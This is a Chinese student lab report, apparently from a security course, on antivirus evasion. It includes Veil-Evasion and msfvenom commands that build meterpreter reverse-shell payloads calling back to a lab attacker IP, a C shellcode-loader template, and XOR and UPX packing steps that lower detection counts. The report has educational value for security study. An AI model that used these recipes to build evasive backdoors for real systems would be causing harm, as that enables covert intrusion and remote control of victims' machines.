20155216 Exp3 免杀原理与实践

Exp3 免杀原理与实践

基于特征码的改变来实现免杀(实践过程记录)

MSF编码器编译后门检测

可以通过VirSCAN来检验后门抗杀能力。

ps:选择后门前修改其文件名,不得含有数字。

如上图所示,39款杀毒软件中有20款报毒,可见实验二的后门不具有隐秘性,且国内的杀毒软件对此后门报毒率100%,可见国内的杀毒软件质量可靠。

接下来将对免杀后门做一定研究。

Veil-Evasion免杀平台

Veil-Evasion的安装

如果直接使用 sudo apt-get install veil-evasion 可能会在安装过程中丢失一些压缩包。

可使用以下命令完整安装Veil-Evasion。

echo "deb http://http.kali.org/kali kali-rolling main contrib non-free" >> /etc/apt/sources.list
sudo apt-get update
sudo apt-get install veil-evasion

在终端下输入指令 veil 即可打开软件。

此时将会显示 Adding x86 architecture to x86_64 system for Wine ,需要安装Wine和wWine32。

使用以下命令依次安装软件:

apt-get install wine
apt-get install nfs-common
apt-get install wine32

再次进入veil界面,将会自动安装、展开、更新或升级软件包,过程很漫长……

之后需要安装很多软件,选择默认安装选项即可。

Veil-Evasion的使用

在终端输入 veil 进入Veil-Evasion。

接着输入use evasion

之后依次输入以下命令:

use python/meterpreter/rev_tcp.py  //设置payload
set LHOST 192.168.253.128    //设置反弹连接IP(kali的IP地址)
set port 443    //设置反弹端口443,默认为4444
generate    //生成
5216   //程序名

输入文件名后选择1

1选项之后跟了一个default,选择后发现只能生成python文件、.py文件,但无法生成exe可执行文件,原因应该是系统未安装合适的python运行环境,于是,我们换成C语言的代码。

之后改变了设置payload的命令,改为 use c/meterpreter/rev_tcp.py

而后继续输入后面的内容,生成相应的文件:

在相应的文件夹下找到exe文件,将其拷贝至windows,进行免杀测试:

测试结果比之前的好很多。

接下来进行回连尝试:

回连成功。

利用shellcode编程实现免杀

使用命令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.253.128 LPORT=443 -f c生成C语言的shellcode。

或者使用 msfvenom -p windows/meterpreter/reverse_https -e x86/bloxor LHOST=192.168.253.128 -f c

将其手动复制到code::blocks中运行,生成exe可执行文件。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

unsigned char buf[] =
"此处省去若干行"

int main()
{
	int (*func)()=(int(*)())buf;
	func();
}

生成后360会给出警告:

进行免杀测试:

进行回连尝试:

回连成功。

但使用第二种方法效果更好一些:

免杀进阶

压缩加壳

首先用UPX对生成的exe文件尝试压缩加壳

压缩后文件大小由28KB压缩成21KB,但是在免杀方面并没有什么显著效果,只比原来减少一个杀毒软件报毒。

修改shellcode

对shellcode进行异或,每一位数异或0x47,之后在数组调用前异或回来。

只有3个杀毒软件报毒,比起之前的检测结果有了好转。

对shellcode进行异或后再进行加压

结果比只进行异或多了一个杀毒软件报毒。

回连尝试

通过上述三种修改后的shellcode编译出的可执行均可回连成功。

基础问题回答

  • 1、杀软是如何检测出恶意代码的?

恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件。

  • 2、免杀是做什么?

对恶意软件做处理,让它不被杀毒软件所检测。

  • 3、免杀的基本方法有哪些?

(1)加壳。
(2)对shellcode编码进行处理。

实践总结与体会

可能是现在杀毒软件对加壳的文件太过于敏感,加壳之后会被更多的杀毒软件检测出来。

国产杀毒软件江民杀毒很奇怪,简单的后门其他杀毒软件报错,而它不报错;等到之后对修改后的shellcode生成的exe进行检测时,其他杀毒软件能通过,它就开始拦截了,并且清楚地提示为后门程序。

还有的杀毒软件在修改或加压前提示是后门,修改后就提示为特洛伊木马。

感觉3个杀毒软件报毒已经比较极限了,也有可能是C语言编译器的问题。我尝试用helloworld代码的可执行文件进行检测,结果也有3个报毒。

离实战还缺些什么技术或步骤?

1、如果要植入后门并回连,首先要能够ping通对方的主机。有时候在同一无线网下都ping不通,更别提路由中转。

2、如何让后门在对方的主机上启动也是个至关重要的问题。

原文地址:https://www.cnblogs.com/LeeX1997/p/8709761.html